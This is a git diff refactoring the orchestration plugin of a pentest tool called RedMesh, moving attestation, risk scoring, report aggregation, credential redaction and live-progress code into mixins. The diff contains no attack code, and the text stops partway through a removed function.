a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c10c01fc..0cb611e5 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -30,17 +30,18 @@ """ -import ipaddress import random -from urllib.parse import urlparse - from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .pentest_worker import PentestLocalWorker from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin +from .attestation_mixin import _AttestationMixin +from .risk_mixin import _RiskScoringMixin +from .report_mixin import _ReportMixin +from .live_progress_mixin import _LiveProgressMixin from .models import ( JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, - CStoreJobFinalized, UiAggregate, JobArchive, WorkerProgress, + CStoreJobFinalized, JobArchive, WorkerProgress, ) from .constants import ( FEATURE_CATALOG, @@ -60,35 +61,15 @@ LLM_ANALYSIS_SECURITY_ASSESSMENT, LLM_ANALYSIS_VULNERABILITY_SUMMARY, LLM_ANALYSIS_REMEDIATION_PLAN, - RISK_SEVERITY_WEIGHTS, - RISK_CONFIDENCE_MULTIPLIERS, - RISK_SIGMOID_K, - RISK_CRED_PENALTY_PER, - RISK_CRED_PENALTY_CAP, LOCAL_WORKERS_MIN, LOCAL_WORKERS_MAX, LOCAL_WORKERS_DEFAULT, - PROGRESS_PUBLISH_INTERVAL, - PHASE_ORDER, PHASE_MARKERS, ) __VER__ = '0.9.0' -def _thread_phase(state): - """Determine which phase a single thread is currently in.""" - tests = set(state.get("completed_tests", [])) - if "correlation_completed" in tests: - return "done" - if "web_tests_completed" in tests: - return "correlation" - if "service_info_completed" in tests: - return "web_tests" - if "fingerprint_completed" in tests: - return "service_probes" - return "port_scan" - _CONFIG = { **BasePlugin.CONFIG, @@ -144,7 +125,7 @@ def _thread_phase(state): }, } -class PentesterApi01Plugin(BasePlugin, _RedMeshLlmAgentMixin): +class PentesterApi01Plugin(BasePlugin, _RedMeshLlmAgentMixin, _AttestationMixin, _RiskScoringMixin, _ReportMixin, _LiveProgressMixin): """ RedMesh API plugin for orchestrating decentralized pentest jobs. @@ -267,246 +248,6 @@ def Pd(self, s, *args, score=-1, **kwargs): return - def _attestation_get_tenant_private_key(self): - private_key = self.cfg_attestation_private_key - if private_key: - private_key = private_key.strip() - if not private_key: - return None - return private_key - - @staticmethod - def _attestation_pack_cid_obfuscated(report_cid) -> str: - if not isinstance(report_cid, str) or len(report_cid.strip()) == 0: - return "0x" + ("00" * 10) - cid = report_cid.strip() - if len(cid) >= 10: - masked = cid[:5] + cid[-5:] - else: - masked = cid.ljust(10, "_") - safe = "".join(ch if 32 <= ord(ch) <= 126 else "_" for ch in masked)[:10] - data = safe.encode("ascii", errors="ignore") - if len(data) < 10: - data = data + (b"_" * (10 - len(data))) - return "0x" + data[:10].hex() - - @staticmethod - def _attestation_extract_host(target): - if not isinstance(target, str): - return None - target = target.strip() - if not target: - return None - if "://" in target: - parsed = urlparse(target) - if parsed.hostname: - return parsed.hostname - host = target.split("/", 1)[0] - if host.count(":") == 1 and "." in host: - host = host.split(":", 1)[0] - return host - - def _attestation_pack_ip_obfuscated(self, target) -> str: - host = self._attestation_extract_host(target) - if not host: - return "0x0000" - if ".." in host: - parts = host.split("..") - if len(parts) == 2 and all(part.isdigit() for part in parts): - first_octet = int(parts[0]) - last_octet = int(parts[1]) - if 0 <= first_octet <= 255 and 0 <= last_octet <= 255: - return f"0x{first_octet:02x}{last_octet:02x}" - try: - ip_obj = ipaddress.ip_address(host) - except Exception: - return "0x0000" - if ip_obj.version != 4: - return "0x0000" - octets = host.split(".") - first_octet = int(octets[0]) - last_octet = int(octets[-1]) - return f"0x{first_octet:02x}{last_octet:02x}" - - @staticmethod - def _attestation_pack_execution_id(job_id) -> str: - if not isinstance(job_id, str): - raise ValueError("job_id must be a string") - job_id = job_id.strip() - if len(job_id) != 8: - raise ValueError("job_id must be exactly 8 characters") - try: - data = job_id.encode("ascii") - except UnicodeEncodeError as exc: - raise ValueError("job_id must contain only ASCII characters") from exc - return "0x" + data.hex() - - - def _attestation_get_worker_eth_addresses(self, workers: dict) -> list[str]: - if not isinstance(workers, dict): - return [] - eth_addresses = [] - for node_addr in workers.keys(): - eth_addr = self.bc.node_addr_to_eth_addr(node_addr) - if not isinstance(eth_addr, str) or not eth_addr.startswith("0x"): - raise ValueError(f"Unable to convert worker node to EVM address: {node_addr}") - eth_addresses.append(eth_addr) - eth_addresses.sort() - return eth_addresses - - def _attestation_pack_node_hashes(self, workers: dict) -> str: - eth_addresses = self._attestation_get_worker_eth_addresses(workers) - if len(eth_addresses) == 0: - return "0x" + ("00" * 32) - digest = self.bc.eth_hash_message(types=["address[]"], values=[eth_addresses], as_hex=True) - if isinstance(digest, str) and digest.startswith("0x"): - return digest - return "0x" + str(digest) - - def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0, node_ips=None): - self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") - if not self.cfg_attestation_enabled: - self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') - return None - tenant_private_key = self._attestation_get_tenant_private_key() - if tenant_private_key is None: - self.P( - "[ATTESTATION] Tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", - color='y' - ) - return None - - run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() - test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 - node_count = len(workers) if isinstance(workers, dict) else 0 - target = job_specs.get("target") - execution_id = self._attestation_pack_execution_id(job_id) - report_cid = workers.get(self.ee_addr, {}).get("report_cid", None) #TODO: use the correct CID - node_eth_address = self.bc.eth_address - ip_obfuscated = self._attestation_pack_ip_obfuscated(target) - cid_obfuscated = self._attestation_pack_cid_obfuscated(report_cid) - - self.P( - f"[ATTESTATION] Submitting test attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " - f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " - f"cid={cid_obfuscated}, sender={node_eth_address}" - ) - tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshTestAttestation", - function_args=[ - test_mode, - node_count, - vulnerability_score, - execution_id, - ip_obfuscated, - cid_obfuscated, - ], - signature_types=["bytes32", "uint8", "uint16", "uint8", "bytes8", "bytes2", "bytes10"], - signature_values=[ - self.REDMESH_ATTESTATION_DOMAIN, - test_mode, - node_count, - vulnerability_score, - execution_id, - ip_obfuscated, - cid_obfuscated, - ], - tx_private_key=tenant_private_key, - ) - - # Obfuscate node IPs for attestation metadata - obfuscated_node_ips = [] - if node_ips: - for ip in node_ips: - obfuscated_node_ips.append(self._attestation_pack_ip_obfuscated(ip)) - - result = { - "job_id": job_id, - "tx_hash": tx_hash, - "test_mode": "C" if test_mode == 1 else "S", - "node_count": node_count, - "vulnerability_score": vulnerability_score, - "execution_id": execution_id, - "report_cid": report_cid, - "node_eth_address": node_eth_address, - "node_ips_obfuscated": obfuscated_node_ips, - } - self.P( - "Submitted RedMesh test attestation for " - f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, score: {vulnerability_score})", - color='g' - ) - return result - - def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): - self.P(f"[ATTESTATION] Job-start attestation requested for job {job_id}") - if not self.cfg_attestation_enabled: - self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') - return None - tenant_private_key = self._attestation_get_tenant_private_key() - if tenant_private_key is None: - self.P( - "[ATTESTATION] Tenant private key is missing. " - "Expected env var 'R1EN_ATTESTATION_PRIVATE_KEY'. Skipping.", - color='y' - ) - return None - - run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() - test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 - node_count = len(workers) if isinstance(workers, dict) else 0 - target = job_specs.get("target") - execution_id = self._attestation_pack_execution_id(job_id) - node_eth_address = self.bc.eth_address - ip_obfuscated = self._attestation_pack_ip_obfuscated(target) - node_hashes = self._attestation_pack_node_hashes(workers) - - worker_addrs = list(workers.keys()) if isinstance(workers, dict) else [] - self.P( - f"[ATTESTATION] Submitting job-start attestation: job={job_id}, mode={'CONTINUOUS' if test_mode else 'SINGLEPASS'}, " - f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " - f"workers={worker_addrs}, sender={node_eth_address}" - ) - tx_hash = self.bc.submit_attestation( - function_name="submitRedmeshJobStartAttestation", - function_args=[ - test_mode, - node_count, - execution_id, - node_hashes, - ip_obfuscated, - ], - signature_types=["bytes32", "uint8", "uint16", "bytes8", "bytes32", "bytes2"], - signature_values=[ - self.REDMESH_ATTESTATION_DOMAIN, - test_mode, - node_count, - execution_id, - node_hashes, - ip_obfuscated, - ], - tx_private_key=tenant_private_key, - ) - - result = { - "job_id": job_id, - "tx_hash": tx_hash, - "test_mode": "C" if test_mode == 1 else "S", - "node_count": node_count, - "execution_id": execution_id, - "node_hashes": node_hashes, - "ip_obfuscated": ip_obfuscated, - "node_eth_address": node_eth_address, - } - self.P( - "Submitted RedMesh job-start attestation for " - f"{job_id} (tx: {tx_hash}, node: {node_eth_address}, node_count: {node_count})", - color='g' - ) - return result - - def __post_init(self): """ Perform warmup: reconcile existing jobs in CStore, migrate legacy keys, @@ -929,165 +670,6 @@ def _maybe_launch_jobs(self, nr_local_workers=None): #end for each potential new job #endif it is time to check return - - - def _get_aggregated_report(self, local_jobs): - """ - Aggregate results from multiple local workers. - - Parameters - ---------- - local_jobs : dict - Mapping of worker id to result dicts. - - Returns - ------- - dict - Aggregated report with merged open ports, service info, etc. - """ - dct_aggregated_report = {} - type_or_func, field = None, None - try: - if local_jobs: - self.P(f"Aggregating reports from {len(local_jobs)} local jobs...") - for local_worker_id, local_job_status in local_jobs.items(): - aggregation_fields = PentestLocalWorker.get_worker_specific_result_fields() - for field in local_job_status: - if field not in dct_aggregated_report: - dct_aggregated_report[field] = local_job_status[field] - elif field in aggregation_fields: - type_or_func = aggregation_fields[field] - if field not in dct_aggregated_report: - field_type = type(local_job_status[field]) - dct_aggregated_report[field] = field_type() - #endif - if isinstance(dct_aggregated_report[field], list): - existing = set(dct_aggregated_report[field]) - merged = existing.union(local_job_status[field]) - try: - dct_aggregated_report[field] = sorted(merged) - except TypeError: - dct_aggregated_report[field] = list(merged) - elif isinstance(dct_aggregated_report[field], dict): - dct_aggregated_report[field] = self.merge_objects_deep( - dct_aggregated_report[field], - local_job_status[field]) - else: - _existing = dct_aggregated_report[field] - _new = local_job_status[field] - dct_aggregated_report[field] = type_or_func([_existing, _new]) - # end if aggregation type - # end if standard (one time) or aggregated fields - # for each field in this local job - # for each local job - self.P(f"Report aggregation done.") - # endif we have local jobs - except Exception as exc: - self.P("Error during report aggregation: {}:\n{}\n{}\ntype_or_func={}, field={}".format( - exc, self.trace_info(), - self.json_dumps(dct_aggregated_report, indent=2), - type_or_func, field - )) - return dct_aggregated_report - - # todo: move to helper - def merge_objects_deep(self, obj_a, obj_b): - """ - Deeply merge two objects (dicts, lists, sets). - - Parameters - ---------- - obj_a : Any - First object. - obj_b : Any - Second object. - - Returns - ------- - Any - Merged object. - """ - if isinstance(obj_a, dict) and isinstance(obj_b, dict): - merged = dict(obj_a) - for key, value_b in obj_b.items(): - if key in merged: - merged[key] = self.merge_objects_deep(merged[key], value_b) - else: - merged[key] = value_b - return merged - elif isinstance(obj_a, list) and isinstance(obj_b, list): - try: - return list(set(obj_a).union(set(obj_b))) - except TypeError: - import json as _json - seen = set() - merged = [] - for item in obj_a + obj_b: - try: - key = _json.dumps(item, sort_keys=True, default=str) - except (TypeError, ValueError): - key = id(item) - if key not in seen: - seen.add(key) - merged.append(item) - return merged - elif isinstance(obj_a, set) and isinstance(obj_b, set): - return obj_a.union(obj_b) - else: - return obj_b # Prefer obj_b in case of conflict - - - def _redact_report(self, report): - """ - Redact credentials from a report before persistence. - - Deep-copies the report and masks password values in findings and - accepted_credentials lists so that sensitive data is not written - to R1FS or CStore. - - Parameters - ---------- - report : dict - Aggregated scan report. - - Returns - ------- - dict - Redacted copy of the report. - """ - import re as _re - from copy import deepcopy - redacted = deepcopy(report) - service_info = redacted.get("service_info", {}) - for port_key, methods in service_info.items(): - if not isinstance(methods, dict): - continue - for method_key, method_data in methods.items(): - if not isinstance(method_data, dict): - continue - # Redact findings evidence - for finding in method_data.get("findings", []): - if not isinstance(finding, dict): - continue - evidence = finding.get("evidence", "") - if isinstance(evidence, str): - evidence = _re.sub( - r'(Accepted credential:\s*\S+?):(\S+)', - r'\1:***', evidence - ) - evidence = _re.sub( - r'(Accepted random creds\s*\S+?):(\S+)', - r'\1:***', evidence - ) - finding["evidence"] = evidence - # Redact accepted_credentials lists - creds = method_data.get("accepted_credentials", []) - if isinstance(creds, list): - method_data["accepted_credentials"] = [ - _re.sub(r'^(\S+?):(.+)$', r'\1:***', c) if isinstance(c, str) else c - for c in creds - ] - return redacted def _log_audit_event(self, event_type, details): @@ -1376,366 +958,6 @@ def _maybe_close_jobs(self): return - def _compute_risk_score(self, aggregated_report): - """ - Compute a 0-100 risk score from an aggregated scan report. - - The score combines four components: - A. Finding severity (weighted by confidence) - B. Open ports (diminishing returns) - C. Attack surface breadth (distinct protocols) - D. Default credentials penalty - - Parameters - ---------- - aggregated_report : dict - Aggregated report with service_info, web_tests_info, correlation_findings, - open_ports, and port_protocols. - - Returns - ------- - dict - ``{"score": int, "breakdown": dict}`` - """ - import math - - findings_score = 0.0 - finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} - cred_count = 0 - - def process_findings(findings_list): - nonlocal findings_score, cred_count - for finding in findings_list: - if not isinstance(finding, dict): - continue - severity = finding.get("severity", "INFO").upper() - confidence = finding.get("confidence", "firm").lower() - weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) - multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) - findings_score += weight * multiplier - if severity in finding_counts: - finding_counts[severity] += 1 - title = finding.get("title", "") - if isinstance(title, str) and "default credential accepted" in title.lower(): - cred_count += 1 - - # A. Iterate service_info findings - service_info = aggregated_report.get("service_info", {}) - for port_key, probes in service_info.items(): - if not isinstance(probes, dict): - continue - for probe_name, probe_data in probes.items(): - if not isinstance(probe_data, dict): - continue - process_findings(probe_data.get("findings", [])) - - # A. Iterate web_tests_info findings - web_tests_info = aggregated_report.get("web_tests_info", {}) - for port_key, tests in web_tests_info.items(): - if not isinstance(tests, dict): - continue - for test_name, test_data in tests.items(): - if not isinstance(test_data, dict): - continue - process_findings(test_data.get("findings", [])) - - # A. Iterate correlation_findings - correlation_findings = aggregated_report.get("correlation_findings", []) - if isinstance(correlation_findings, list): - process_findings(correlation_findings) - - # B. Open ports — diminishing returns: 15 × (1 - e^(-ports/8)) - open_ports = aggregated_report.get("open_ports", []) - nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 - open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) - - # C. Attack surface breadth — distinct protocols: 10 × (1 - e^(-protocols/4)) - port_protocols = aggregated_report.get("port_protocols", {}) - nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 - breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) - - # D. Default credentials penalty - credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) - - # Raw total - raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty - - # Normalize to 0-100 via logistic curve - score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) - score = max(0, min(100, score)) - - return { - "score": score, - "breakdown": { - "findings_score": round(findings_score, 1), - "open_ports_score": round(open_ports_score, 1), - "breadth_score": round(breadth_score, 1), - "credentials_penalty": credentials_penalty, - "raw_total": round(raw_total, 1), - "finding_counts": finding_counts, - }, - } - - def _compute_risk_and_findings(self, aggregated_report): - """ - Compute risk score AND extract flat findings in a single walk. - - Extends _compute_risk_score to also produce a flat list of enriched - findings from the nested service_info/web_tests_info/correlation structure. - - Parameters - ---------- - aggregated_report : dict - Aggregated report with service_info, web_tests_info, etc. - - Returns - ------- - tuple[dict, list] - (risk_result, flat_findings) where risk_result is {"score": int, "breakdown": dict} - and flat_findings is a list of enriched finding dicts. - """ - import hashlib - import math - - findings_score = 0.0 - finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} - cred_count = 0 - flat_findings = [] - - port_protocols = aggregated_report.get("port_protocols") or {} - - def process_findings(findings_list, port, probe_name, category): - nonlocal findings_score, cred_count - for finding in findings_list: - if not isinstance(finding, dict): - continue - severity = finding.get("severity", "INFO").upper() - confidence = finding.get("confidence", "firm").lower() - weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) - multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) - findings_score += weight * multiplier - if severity in finding_counts: - finding_counts[severity] += 1 - title = finding.get("title", "") - if isinstance(title, str) and "default credential accepted" in title.lower(): - cred_count += 1 - - # Build deterministic finding_id - canon_title = (finding.get("title") or "").lower().strip() - cwe = finding.get("cwe_id", "") - id_input = f"{port}:{probe_name}:{cwe}:{canon_title}" - finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] - - protocol = port_protocols.get(str(port), "unknown") - - flat_findings.append({ - "finding_id": finding_id, - **{k: v for k, v in finding.items()}, - "port": port, - "protocol": protocol, - "probe": probe_name, - "category": category, - }) - - def parse_port(port_key): - """Extract integer port from keys like '80/tcp' or '80'.""" - try: - return int(str(port_key).split("/")[0]) - except (ValueError, IndexError): - return 0 - - # Walk service_info - service_info = aggregated_report.get("service_info", {}) - for port_key, probes in service_info.items(): - if not isinstance(probes, dict): - continue - port = parse_port(port_key) - for probe_name, probe_data in probes.items(): - if not isinstance(probe_data, dict): - continue - process_findings(probe_data.get("findings", []), port, probe_name, "service") - - # Walk web_tests_info - web_tests_info = aggregated_report.get("web_tests_info", {}) - for port_key, tests in web_tests_info.items(): - if not isinstance(tests, dict): - continue - port = parse_port(port_key) - for test_name, test_data in tests.items(): - if not isinstance(test_data, dict): - continue - process_findings(test_data.get("findings", []), port, test_name, "web") - - # Walk correlation_findings - correlation_findings = aggregated_report.get("correlation_findings", []) - if isinstance(correlation_findings, list): - process_findings(correlation_findings, 0, "_correlation", "correlation") - - # B. Open ports — diminishing returns - open_ports = aggregated_report.get("open_ports", []) - nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 - open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) - - # C. Attack surface breadth - nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 - breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) - - # D. Default credentials penalty - credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) - - # Deduplicate CVE findings: when the same CVE appears on the same port - # from different probes (behavioral + version-based), keep the higher - # confidence detection and drop the duplicate. - import re as _re_dedup - CONFIDENCE_RANK = {"certain": 3, "firm": 2, "tentative": 1} - cve_best = {} # (cve_id, port) -> index of best finding - drop_indices = set() - for idx, f in enumerate(flat_findings): - title = f.get("title", "") - m = _re_dedup.search(r"CVE-\d{4}-\d+", title) - if not m: - continue - cve_id = m.group(0) - port = f.get("port", 0) - key = (cve_id, port) - conf = CONFIDENCE_RANK.get(f.get("confidence", "tentative"), 0) - if key in cve_best: - prev_idx = cve_best[key] - prev_conf = CONFIDENCE_RANK.get(flat_findings[prev_idx].get("confidence", "tentative"), 0) - if conf > prev_conf: - drop_indices.add(prev_idx) - cve_best[key] = idx - else: - drop_indices.add(idx) - else: - cve_best[key] = idx - - if drop_indices: - flat_findings = [f for i, f in enumerate(flat_findings) if i not in drop_indices] - # Recalculate scores after dedup - findings_score = 0.0 - finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} - cred_count = 0 - for f in flat_findings: - severity = f.get("severity", "INFO").upper() - confidence = f.get("confidence", "firm").lower() - weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) - multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) - findings_score += weight * multiplier - if severity in finding_counts: - finding_counts[severity] += 1 - title = f.get("title", "") - if isinstance(title, str) and "default credential accepted" in title.lower(): - cred_count += 1 - credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) - - raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty - score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) - score = max(0, min(100, score)) - - risk_result = { - "score": score, - "breakdown": { - "findings_score": round(findings_score, 1), - "open_ports_score": round(open_ports_score, 1), - "breadth_score": round(breadth_score, 1), - "credentials_penalty": credentials_penalty, - "raw_total": round(raw_total, 1), - "finding_counts": finding_counts, - }, - } - return risk_result, flat_findings - - def _count_services(self, service_info): - """Count ports that have at least one identified service. - - Parameters - ---------- - service_info : dict - Port-keyed service info dict from aggregated scan data. - - Returns - ------- - int - Number of ports with detected services. - """ - if not isinstance(service_info, dict): - return 0 - count = 0 - for port_key, probes in service_info.items(): - if isinstance(probes, dict) and len(probes) > 0: - count += 1 - return count - - SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} - CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} - - def _compute_ui_aggregate(self, passes, latest_aggregated): - """Compute pre-aggregated view for frontend from pass reports. - - Parameters - ---------- - passes : list - List of pass report dicts (PassReport.to_dict()). - latest_aggregated : dict - AggregatedScanData dict for the latest pass. - - Returns - ------- - UiAggregate - """ - from collections import Counter - - latest = passes[-1] - agg = latest_aggregated - findings = latest.get("findings", []) or [] - - # Severity breakdown - findings_count = dict(Counter(f.get("severity", "INFO") for f in findings)) - - # Top findings: CRITICAL + HIGH, sorted by severity then confidence, capped at 10 - crit_high = [f for f in findings if f.get("severity") in ("CRITICAL", "HIGH")] - crit_high.sort(key=lambda f: ( - self.SEVERITY_ORDER.get(f.get("severity"), 9), - self.CONFIDENCE_ORDER.get(f.get("confidence"), 9), - )) - top_findings = crit_high[:10] - - # Finding timeline: track persistence across passes (continuous monitoring) - finding_timeline = {} - for p in passes: - pass_nr = p.get("pass_nr", 0) - for f in (p.get("findings") or []): - fid = f.get("finding_id") - if not fid: - continue - if fid not in finding_timeline: - finding_timeline[fid] = {"first_seen": pass_nr, "last_seen": pass_nr, "pass_count": 1} - else: - finding_timeline[fid]["last_seen"] = pass_nr - finding_timeline[fid]["pass_count"] += 1 - - return UiAggregate( - total_open_ports=sorted(set(agg.get("open_ports", []))), - total_services=self._count_services(agg.get("service_info", {})), - total_findings=len(findings), - findings_count=findings_count if findings_count else None, - top_findings=top_findings if top_findings else None, - finding_timeline=finding_timeline if finding_timeline else None, - latest_risk_score=latest.get("risk_score"), - latest_risk_breakdown=latest.get("risk_breakdown"), - latest_quick_summary=latest.get("quick_summary"), - worker_activity=[ - { - "id": addr, - "start_port": w["start_port"], - "end_port": w["end_port"], - "open_ports": w.get("open_ports", []), - } - for addr, w in (latest.get("worker_reports") or {}).items() - ] or None, - ) - def _build_job_archive(self, job_key, job_specs): """Build archive, write to R1FS, prune CStore. Idempotent on failure. @@ -3360,224 +2582,6 @@ def llm_health(self): return self._get_llm_health_status() - @staticmethod - def _merge_worker_metrics(metrics_list): - """Merge scan_metrics dicts from multiple local worker threads.""" - if not metrics_list: - return None - merged = {} - # Sum connection outcomes - outcomes = {} - for m in metrics_list: - for k, v in (m.get("connection_outcomes") or {}).items(): - outcomes[k] = outcomes.get(k, 0) + v - if outcomes: - merged["connection_outcomes"] = outcomes - # Sum coverage - cov_scanned = sum(m.get("coverage", {}).get("ports_scanned", 0) for m in metrics_list if m.get("coverage")) - cov_range = sum(m.get("coverage", {}).get("ports_in_range", 0) for m in metrics_list if m.get("coverage")) - cov_skipped = sum(m.get("coverage", {}).get("ports_skipped", 0) for m in metrics_list if m.get("coverage")) - cov_open = sum(m.get("coverage", {}).get("open_ports_count", 0) for m in metrics_list if m.get("coverage")) - if cov_range: - merged["coverage"] = { - "ports_in_range": cov_range, "ports_scanned": cov_scanned, - "ports_skipped": cov_skipped, - "coverage_pct": round(cov_scanned / cov_range * 100, 1), - "open_ports_count": cov_open, - } - # Sum finding distribution - findings = {} - for m in metrics_list: - for k, v in (m.get("finding_distribution") or {}).items(): - findings[k] = findings.get(k, 0) + v - if findings: - merged["finding_distribution"] = findings - # Sum service distribution - services = {} - for m in metrics_list: - for k, v in (m.get("service_distribution") or {}).items(): - services[k] = services.get(k, 0) + v - if services: - merged["service_distribution"] = services - # Sum probe counts - for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): - merged[field] = sum(m.get(field, 0) for m in metrics_list) - # Merge probe breakdown (union of all probes) - probe_bd = {} - for m in metrics_list: - for k, v in (m.get("probe_breakdown") or {}).items(): - # Keep worst status: failed > skipped > completed - existing = probe_bd.get(k) - if existing is None or v == "failed" or (v.startswith("skipped") and existing == "completed"): - probe_bd[k] = v - if probe_bd: - merged["probe_breakdown"] = probe_bd - # Total duration: max across threads/nodes (they run in parallel) - merged["total_duration"] = max(m.get("total_duration", 0) for m in metrics_list) - # Phase durations: max per phase (threads/nodes run in parallel, so wall-clock - # time for each phase is the max across all of them) - all_phases = {} - for m in metrics_list: - for phase, dur in (m.get("phase_durations") or {}).items(): - all_phases[phase] = max(all_phases.get(phase, 0), dur) - if all_phases: - merged["phase_durations"] = all_phases - longest = max(metrics_list, key=lambda m: m.get("total_duration", 0)) - # Merge stats distributions (response_times, port_scan_delays) - # Use weighted mean, global min/max, approximate p95/p99 from max of per-thread values - for stats_field in ("response_times", "port_scan_delays"): - stats_list = [m[stats_field] for m in metrics_list if m.get(stats_field)] - if stats_list: - total_count = sum(s.get("count", 0) for s in stats_list) - if total_count > 0: - merged[stats_field] = { - "min": min(s["min"] for s in stats_list), - "max": max(s["max"] for s in stats_list), - "mean": round(sum(s["mean"] * s.get("count", 1) for s in stats_list) / total_count, 4), - "median": round(sum(s["median"] * s.get("count", 1) for s in stats_list) / total_count, 4), - "stddev": round(max(s.get("stddev", 0) for s in stats_list), 4), - "p95": round(max(s.get("p95", 0) for s in stats_list), 4), - "p99": round(max(s.get("p99", 0) for s in stats_list), 4), - "count": total_count, - } - # Success rate over time: take from the longest-running thread - if longest.get("success_rate_over_time"): - merged["success_rate_over_time"] = longest["success_rate_over_time"] - # Detection flags (any thread detecting = True) - merged["rate_limiting_detected"] = any(m.get("rate_limiting_detected") for m in metrics_list) - merged["blocking_detected"] = any(m.get("blocking_detected") for m in metrics_list) - # Open port details: union, deduplicate by port - all_details = [] - seen_ports = set() - for m in metrics_list: - for d in (m.get("open_port_details") or []): - if d["port"] not in seen_ports: - seen_ports.add(d["port"]) - all_details.append(d) - if all_details: - merged["open_port_details"] = sorted(all_details, key=lambda x: x["port"]) - # Banner confirmation: sum counts - bc_confirmed = sum(m.get("banner_confirmation", {}).get("confirmed", 0) for m in metrics_list) - bc_guessed = sum(m.get("banner_confirmation", {}).get("guessed", 0) for m in metrics_list) - if bc_confirmed + bc_guessed > 0: - merged["banner_confirmation"] = {"confirmed": bc_confirmed, "guessed": bc_guessed} - return merged - - def _publish_live_progress(self): - """ - Publish live progress for all active local scan jobs. - - Builds per-thread progress data and writes a single WorkerProgress entry - per job to the `:live` CStore hset. Called periodically from process(). - - Progress is stage-based (stage_idx / 5 * 100) with port-scan sub-progress. - Phase is the earliest (least advanced) phase across all threads. - Per-thread data (phase, ports) is included when multiple threads are active. - """ - now = self.time() - if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: - return - self._last_progress_publish = now - - live_hkey = f"{self.cfg_instance_id}:live" - ee_addr = self.ee_addr - - nr_phases = len(PHASE_ORDER) - - for job_id, local_workers in self.scan_jobs.items(): - if not local_workers: - continue - - # Build per-thread data - total_scanned = 0 - total_ports = 0 - all_open = set() - all_tests = set() - thread_entries = {} - thread_phases = [] - worker_metrics = [] - - for tid, worker in local_workers.items(): - state = worker.state - nr_ports = len(worker.initial_ports) - t_scanned = len(state.get("ports_scanned", [])) - t_open = sorted(state.get("open_ports", [])) - t_phase = _thread_phase(state) - - total_scanned += t_scanned - total_ports += nr_ports - all_open.update(t_open) - all_tests.update(state.get("completed_tests", [])) - worker_metrics.append(worker.metrics.build().to_dict()) - thread_phases.append(t_phase) - - thread_entries[tid] = { - "phase": t_phase, - "ports_scanned": t_scanned, - "ports_total": nr_ports, - "open_ports_found": t_open, - } - - # Overall phase: earliest (least advanced) across threads - phase_indices = [PHASE_ORDER.index(p) if p in PHASE_ORDER else nr_phases for p in thread_phases] - min_phase_idx = min(phase_indices) if phase_indices else 0 - phase = PHASE_ORDER[min_phase_idx] if min_phase_idx < nr_phases else "done" - - # Stage-based progress: completed_stages / total * 100 - # During port_scan, add sub-progress based on ports scanned - stage_progress = (min_phase_idx / nr_phases) * 100 - if phase == "port_scan" and total_ports > 0: - stage_progress += (total_scanned / total_ports) * (100 / nr_phases) - progress_pct = round(min(stage_progress, 100), 1) - - # Look up pass number from CStore - job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) - pass_nr = 1 - if isinstance(job_specs, dict): - pass_nr = job_specs.get("job_pass", 1) - - # Merge metrics from all local threads - merged_metrics = worker_metrics[0] 